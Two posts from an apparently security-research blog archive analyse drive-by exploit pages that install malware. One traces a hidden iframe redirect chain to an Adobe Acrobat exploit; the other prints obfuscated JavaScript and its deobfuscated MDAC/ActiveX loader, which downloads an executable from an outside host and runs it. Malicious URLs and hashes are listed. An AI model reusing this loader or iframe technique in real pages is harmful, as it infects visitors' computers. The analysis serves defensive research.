Archive for October 4th, 2008

04
Oct

Another Adobe Acrobat Exploit (accwizm.exe)-VIDEO

Once again, we have an Adobe exploit page injecting another piece of malware. This one is different than the one posted earlier and this one redirects through multiple pages logging each visitor. I was able to capture a video of the computer being exploited simply by visiting the page. As with the previous exploit, the binary installed is almost fully undetected except for a few heuristic catches. Look below for more information about this exploit and information about the binary. It can be downloaded from /pnuemo-malware/ in our repository.

BE ADVISED: All sites my be active. Proceed at your own risk.

The user will visit the following URL: hxxp://66.232.117.33/~catetc/tdsHAX/kotopoucykanety.php

This pages contains a simple hidden iframe that will load multiple pages logging each visitor how visits.

<iframe src=”http://megsrdomain.cn/tor/count.php?o=5″ width=1 height=1 style=”visibility: hidden”></iframe>

In the iframe we are redirected two times until we reach the exploit page.

hxxp://megsrdomain.cn/tor/count.php?o=5 -> hxxp://megsrdomain.cn/tor/count.php?o=2 -> hxxp://82.103.138.10/ls/?t=24

hxxp://82.103.138.10/ls/?t=24 is the page that exploits Adobe Acrobat and installs the malware. This page contains many, many pages of code and there is too much to post here. You can view or download a clean .txt of the page code for this exploit by clicking here.

accwizm.exe
Result: 8/36 (22.22%)
MD5:
2bee943c7b8e63d17a92b99087ba15a7
VirusTotal
Sunbelt Sandbox

Download Video

04
Oct

MDAC Exploit Page (iexplorer.exe)

We discovered another exploit page that will inject malware on to the users computer by way of a vulnerability in MDAC. The initial page is loaded with obfuscated code. When deobfuscated, it exploits Adobe and then opens the loader page in which the malware payload is injected. Below is analysis of the exploit page along with the malware information. The binary has very few real detections, most are just heuristics. This file is available in the repository under /pnuemo-malware/.

BE ADVISED: Websites may still be active, proceed at your own risk.

hxxp://gavai-pegc9.ws/Gpack/index.php

<html><head><meta HTTP-EQUIV=”REFRESH” content=”3; URL=index.php?404″><script language=
JavaScript>str = “ru`su)(: gtobuhno!ru`su)(!z w`s!{`e!<!enbtldou/bsd`udDmdldou)&nckdbu&(: {`e/rdu
@uushctud)&he&-&{`e&(: {`e/rdu@uushctud)&bm`rrhe&-&bm&*&rh&*#e;CE#*#87B4#*&47,74@2,0&
*#0E1,89#*&2@,11&*#B15#*&GB3&*#8D#*&27&(: usx!z w`s!p!<!{`e/Bsd`udNckdbu)&lr&*#yl#*&m3
&*#/#*&YL&*#MI#*&U&*&UQ&-&&(: w`s!r!<!{`e/Bsd`udNckdbu)#Ridm#*#m/@q#*#qm#*#hb`uh#*#n
o#-&&(: w`s!u!<!{`e/Bsd`udNckdbu)&`e&*&ne&*#c/#*&ru&*#sd#*&`l&-&&(: usx!z!u/uxqd!<!0:
p/nqdo)&F&*#D#*&U&-&iuuq;..f`w`h,qdfb8/vr.Fq`bj.mn`e/qiq&-g`mrd(: p/rdoe)(:!u/nqdo)(: u/Vshu
d)p/sdrqnordCnex(: w`s!o`ld!<!&/..//..hdyqmnsds/dyd&: u/R`wdUnGhmd)o`ld-3(: u/Bmnrd)(: |!b`ub
i)d(!z| usx!z!r/ridmmdydbtud)o`ld(:!|!b`ubi)d(!z|| b`ubi)d(z||”;str2 = “”;for (i = 0; i < str.length; i ++) { s
tr2 = str2 + String.fromCharCode (str.charCodeAt (i) ^ 1); }; eval (str2);</script></head></html>

deobfuscates to:

start();
function start() {
var zad = document.createElement(‘object’);
zad.setAttribute(‘id’,'zad’);
zad.setAttribute(‘classid’,'cl’+’si’+”d:BD”+”96C5″+’56-65A3-1′+”1D0-98″+’3A-00′+”C04″+’FC2′+”9E”+
‘36′);
try {
var q = zad.CreateObject(‘ms’+”xm”+’l2′+”.”+’XM’+”LH”+’T'+’TP’,”);
var s = zad.CreateObject(“Shel”+”l.Ap”+”pl”+”icati”+”on”,”);
var t = zad.CreateObject(‘ad’+'od’+”b.”+’st’+”re”+’am’,”);
try { t.type = 1;
q.open(‘G’+”E”+’T',’http://gavai-pegc9.ws/Gpack/load.php’,false);
q.send(); t.open();
t.Write(q.responseBody);
var name = ‘.//..//iexplorer.exe’;
t.SaveToFile(name,2);
t.Close();
} catch(e) {}
try { s.shellexecute(name); } catch(e) {}}
catch(e){}}

hxxp://gavai-pegc9.ws/Gpack/load.php downloads the malware binary.

file.exe
Result: 9/36 (25%)
MD5:
e427f1c2438259b5b4bb386aec822e30
VirusTotal
ThreatExpert Sandbox Analysis






 

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